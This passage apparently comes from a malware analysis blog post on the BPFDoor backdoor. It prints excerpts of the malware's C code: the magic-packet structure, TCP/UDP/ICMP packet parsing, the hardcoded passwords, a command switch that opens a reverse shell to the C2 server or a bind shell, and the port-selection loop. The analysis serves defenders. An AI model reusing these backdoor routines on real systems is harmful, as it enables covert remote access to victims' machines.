interface)</td></tr><tr><td><code>try_link()</code></td><td>Unknown</td><td>Spawn a socket client object (reverse shell)</td></tr><tr><td><code>mon()</code></td><td>Unknown</td><td>Return <code>"1"</code> to the remote server (failed signal)</td></tr><tr><td><code>set_proc_name()</code></td><td>Unknown</td><td>Manipulate a process name through prctl syscall</td></tr><tr><td><code>to_open()</code></td><td>Unknown</td><td>Check the access permision for the shell</td></tr><tr><td><code>logon()</code></td><td>Unknown</td><td>Password verification and command handler</td></tr><tr><td><code>packet_loop()</code></td><td>Unknown</td><td>TCP, UDP, ICMP packet parser and handler</td></tr><tr><td><code>b()</code></td><td>Unknown</td><td>Spawn a socket bind server (random port)</td></tr><tr><td><code>w()</code></td><td>Unknown</td><td>Accept connections</td></tr><tr><td><code>getshell()</code></td><td>Unknown</td><td>Disable firewall and spawn a bind server</td></tr><tr><td><code>shell()</code></td><td>Unknown</td><td>Core command handler</td></tr><tr><td><code>main()</code></td><td>Unknown</td><td>Entry point with configs</td></tr></tbody></table></section><section><h3>Magic Packet<a href="#magic-packet"><span>#</span></a></h3><p>The following code is the C structure of the magic packet used to activate BPFDoor.</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>struct</span><span> magic_packet{</span></div></div><div><div><div>2</div></div><div><span>    </span><span>unsigned</span><span> </span><span>int</span><span>    flag;</span></div></div><div><div><div>3</div></div><div><span>    </span><span>in_addr_t</span><span>       ip;</span></div></div><div><div><div>4</div></div><div><span>    </span><span>unsigned</span><span> </span><span>short</span><span>  port;</span></div></div><div><div><div>5</div></div><div><span>    </span><span>char</span><span>   </span><span>pass</span><span>[</span><span>14</span><span>];</span></div></div><div><div><div>6</div></div><div><span>} </span><span>__attribute__</span><span><span> </span><span>((</span><span>packed</span><span>));</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div>

<table><thead><tr><th>Field</th><th>Field Type</th><th>Length</th><th>Description</th></tr></thead><tbody><tr><td>flag</td><td><code>unsigned int</code></td><td>4 bytes</td><td>Not Used</td></tr><tr><td>ip</td><td><code>in_addr_t</code></td><td>4 bytes</td><td>C2 Server IPv4 Address</td></tr><tr><td>port</td><td><code>unsigned short</code></td><td>2 bytes</td><td>C2 Server Port Number</td></tr><tr><td>pass</td><td><code>char [14]</code></td><td>14 bytes</td><td>Password/Command</td></tr></tbody></table><p>The following C code parses custom magic packets delivered over TCP, UDP, and ICMP protocols. This indicates that BPFDoor is capable of establishing remote connections through packets using <strong>TCP</strong>, <strong>UDP</strong>, and <strong>ICMP</strong>.</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>switch</span><span>(</span><span>ip</span><span>-&gt;</span><span>ip_p</span><span>) {</span></div></div><div><div><div>2</div></div><div><span>    </span><span>case</span><span> IPPROTO_TCP:</span></div></div><div><div><div>3</div></div><div><span><span>        </span></span><span>tcp </span><span>=</span><span> (</span><span>struct</span><span> sniff_tcp</span><span>*</span><span>)(buff</span><span>+</span><span>14</span><span>+</span><span>size_ip);</span></div></div><div><div><div>4</div></div><div><span><span>        </span></span><span>size_tcp </span><span>=</span><span> </span><span>TH_OFF</span><span><span>(</span><span>tcp</span><span>)</span></span><span>*</span><span>4</span><span>;</span></div></div><div><div><div>5</div></div><div><span><span>        </span></span><span>mp </span><span>=</span><span> (</span><span>struct</span><span> magic_packet </span><span>*</span><span>)(buff</span><span>+</span><span>14</span><span>+</span><span>size_ip</span><span>+</span><span>size_tcp);</span></div></div><div><div><div>6</div></div><div><span>        </span><span>break</span><span>;</span></div></div><div><div><div>7</div></div><div><span>    </span><span>case</span><span> IPPROTO_UDP:</span></div></div><div><div><div>8</div></div><div><span><span>        </span></span><span>udp </span><span>=</span><span> (</span><span>struct</span><span> sniff_udp </span><span>*</span><span>)(ip</span><span>+</span><span>1</span><span>);</span></div></div><div><div><div>9</div></div><div><span><span>        </span></span><span>mp </span><span>=</span><span> (</span><span>struct</span><span> magic_packet </span><span>*</span><span>)(udp</span><span>+</span><span>1</span><span>);</span></div></div><div><div><div>10</div></div><div><span>        </span><span>break</span><span>;</span></div></div><div><div><div>11</div></div><div><span>    </span><span>case</span><span> IPPROTO_ICMP:</span></div></div><div><div><div>12</div></div><div><span><span>        </span></span><span>pbuff </span><span>=</span><span> (</span><span>char</span><span> </span><span>*</span><span>)(ip</span><span>+</span><span>1</span><span>);</span></div></div><div><div><div>13</div></div><div><span><span>        </span></span><span>mp </span><span>=</span><span> (</span><span>struct</span><span> magic_packet </span><span>*</span><span>)(pbuff</span><span>+</span><span>8</span><span>);</span></div></div><div><div><div>14</div></div><div><span>        </span><span>break</span><span>;</span></div></div><div><div><div>15</div></div><div><span>    </span><span>default</span><span>:</span></div></div><div><div><div>16</div></div><div><span>        </span><span>break</span><span>;</span></div></div><div><div><div>17</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>Show more</span><span>Show less</span></div></div></section><section><h3>Login Password<a href="#login-password"><span>#</span></a></h3><p>The login passwords received by the malware are as follows:</p><ul>
<li>justforfun</li>
<li>socket</li>
</ul><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>{</span><span><span>0x</span><span>6a</span></span><span>, </span><span><span>0x</span><span>75</span></span><span>, </span><span><span>0x</span><span>73</span></span><span>, </span><span><span>0x</span><span>74</span></span><span>, </span><span><span>0x</span><span>66</span></span><span>, </span><span><span>0x</span><span>6f</span></span><span>, </span><span><span>0x</span><span>72</span></span><span>, </span><span><span>0x</span><span>66</span></span><span>, </span><span><span>0x</span><span>75</span></span><span>, </span><span><span>0x</span><span>6e</span></span><span>, </span><span><span>0x</span><span>00</span></span><span>};</span><span> // justforfun</span></div></div><div><div><div>2</div></div><div><span>{</span><span><span>0x</span><span>73</span></span><span>, </span><span><span>0x</span><span>6f</span></span><span>, </span><span><span>0x</span><span>63</span></span><span>, </span><span><span>0x</span><span>6b</span></span><span>, </span><span><span>0x</span><span>65</span></span><span>, </span><span><span>0x</span><span>74</span></span><span>, </span><span><span>0x</span><span>00</span></span><span>};</span><span> // socket</span></div></div></code></pre><div><div></div><div></div></div></figure></div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>data </span><span>=</span><span> [</span></span><span>0x</span><span>6a</span><span>, </span><span>0x</span><span>75</span><span>, </span><span>0x</span><span>73</span><span>, </span><span>0x</span><span>74</span><span>, </span><span>0x</span><span>66</span><span>, </span><span>0x</span><span>6f</span><span>, </span><span>0x</span><span>72</span><span>, </span><span>0x</span><span>66</span><span>, </span><span>0x</span><span>75</span><span>, </span><span>0x</span><span>6e</span><span>, </span><span>0x</span><span>00</span><span>]</span></div></div><div><div><div>2</div></div><div><span>for</span><span> i </span><span>in</span><span> data:</span></div></div><div><div><div>3</div></div><div><span>    </span><span>print</span><span>(</span><span>chr</span><span>(i), </span><span>end</span><span>=</span><span>''</span><span>)</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span><span>&gt;&gt;&gt;</span><span> justforfun</span></span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div>
</div></div><div><div><div>8</div></div><div><span><span>data2 </span><span>=</span><span> [</span></span><span>0x</span><span>73</span><span>, </span><span>0x</span><span>6f</span><span>, </span><span>0x</span><span>63</span><span>, </span><span>0x</span><span>6b</span><span>, </span><span>0x</span><span>65</span><span>, </span><span>0x</span><span>74</span><span>, </span><span>0x</span><span>00</span><span>]</span></div></div><div><div><div>9</div></div><div><span>for</span><span> i </span><span>in</span><span> data2:</span></div></div><div><div><div>10</div></div><div><span>    </span><span>print</span><span>(</span><span>chr</span><span>(i), </span><span>end</span><span>=</span><span>''</span><span>)</span></div></div><div><div><div>11</div></div><div>
</div></div><div><div><div>12</div></div><div><span><span>&gt;&gt;&gt;</span><span> socket</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>If the transmitted value is <strong>“justforfun”</strong>, the malware establishes a TCP reverse shell to connect back to the C2 server.</p><ul>
<li>
<p>The function <code>try_link()</code> returns a TCP client socket object, which is stored in the variable <code>scli</code>.</p>
</li>
<li>
<p>This <code>scli</code> object is then passed as an argument to the <code>shell()</code> function.</p>
</li>
</ul><p>If the transmitted value is <strong>“socket”</strong>, the malware sets up a bind shell server, listening for incoming connections.</p><ul>
<li>
<p>The function <code>getshell()</code> calls another function <code>b()</code>, which returns a TCP listening socket (bind server).</p>
</li>
<li>
<p>The resulting socket is stored in the variable <code>sockfd</code>, which is then passed as an argument to the <code>shell()</code> function.</p>
</li>
</ul><p>In summary, the command structure of this malware operates as follows:</p><ul>
<li><code>justforfun</code> command → Spawns a <strong>reverse shell</strong></li>
<li><code>socket</code> command → Spawns a <strong>bind shell</strong></li>
</ul><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>cmp </span><span>=</span><span> </span><span>logon</span><span><span>(</span><span>mp</span></span><span>-&gt;</span><span><span>pass</span><span>);</span></span><span> // Check the command</span></div></div><div><div><div>2</div></div><div><span>switch</span><span>(cmp) {</span></div></div><div><div><div>3</div></div><div><span>    </span><span>case</span><span> </span><span>1</span><span>:</span></div></div><div><div><div>4</div></div><div><span>        </span><span>strcpy</span><span><span>(</span><span>sip</span><span>,</span><span> </span></span><span>inet_ntoa</span><span><span>(</span><span>ip</span></span><span>-&gt;</span><span><span>ip_src</span><span>));</span></span></div></div><div><div><div>5</div></div><div><span>        </span><span>getshell</span><span><span>(</span><span>sip</span><span>,</span><span> </span></span><span>ntohs</span><span><span>(</span><span>tcp</span></span><span>-&gt;</span><span><span>th_dport</span><span>));</span></span></div></div><div><div><div>6</div></div><div><span>        </span><span>break</span><span>;</span></div></div><div><div><div>7</div></div><div><span>    </span><span>case</span><span> </span><span>0</span><span>:</span></div></div><div><div><div>8</div></div><div><span><span>        </span></span><span>scli </span><span>=</span><span> </span><span>try_link</span><span><span>(</span><span>bip</span><span>,</span><span> mp</span></span><span>-&gt;</span><span><span>port</span><span>);</span></span></div></div><div><div><div>9</div></div><div><span>        </span><span>if</span><span> (scli </span><span>&gt;</span><span> </span><span>0</span><span>)</span></div></div><div><div><div>10</div></div><div><span>                </span><span>shell</span><span><span>(</span><span>scli</span><span>,</span><span> </span></span><span>NULL</span><span><span>,</span><span> </span></span><span>NULL</span><span>);</span></div></div><div><div><div>11</div></div><div><span>        </span><span>break</span><span>;</span></div></div><div><div><div>12</div></div><div><span>    </span><span>case</span><span> </span><span>2</span><span>:</span></div></div><div><div><div>13</div></div><div><span>        </span><span>mon</span><span><span>(</span><span>bip</span><span>,</span><span> mp</span></span><span>-&gt;</span><span><span>port</span><span>);</span></span></div></div><div><div><div>14</div></div><div><span>        </span><span>break</span><span>;</span></div></div><div><div><div>15</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>Show more</span><span>Show less</span></div></div></section><section><h3>Port Range<a href="#port-range"><span>#</span></a></h3><p>When spawning a bind shell, the malware selects a random port within the range <strong>42391</strong> to <strong>43390</strong>.</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>for</span><span> (port </span><span>=</span><span> </span><span>42391</span><span>; port </span><span>&lt;</span><span> </span><span>43391</span><span>; port</span><span>++</span><span>) {</span><span> // 42391 - 43390</span></div></div><div><div><div>2</div></div><div><span>    </span><span>my_addr</span><span>.</span><span>sin_port</span><span> </span><span>=</span><span> </span><span>htons</span><span>(port);</span></div></div><div><div><div>3</div></div><div><span>    </span><span>if</span><span>( </span><span>bind</span><span>(sock_fd,(</span><span>struct</span><span> sockaddr </span><span>*</span><span>)</span><span>&amp;</span><span>my_addr,</span><span>sizeof</span><span>(</span><span>struct</span><span> sockaddr)) </span><span>==</span><span> </span><span>-</span><span>1</span><span> ){</span></div></div><div><div><div>4</div></div><div><span>        </span><span>continue</span><span>;</span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>6</div></div><div><span>    </span><span>if</span><span>( </span><span>listen</span><span>(sock_fd,</span><span>1</span><span>) </span><span>==</span><span> </span><span>0</span><span> ) {</span></div></div><div><div><div>7</div></div><div><span>        </span><span>*</span><span>p </span><span>=</span><span> port;</span></div></div><div><div><div>8</div></div><div><span>        </span><span>return</span><span> sock_fd;</span></div></div><div><div><div>9</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>10</div></div><div><span>    </span><span>close</span><span>(sock_fd);</span></div></div><div><div><div>11</div></div><div><span>}</span></div></div><div><div><div>12</div></div><div><span>return</span><span> </span><span>-</span><span>1</span><span>;</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section>]]></content>
    </entry>
</feed>
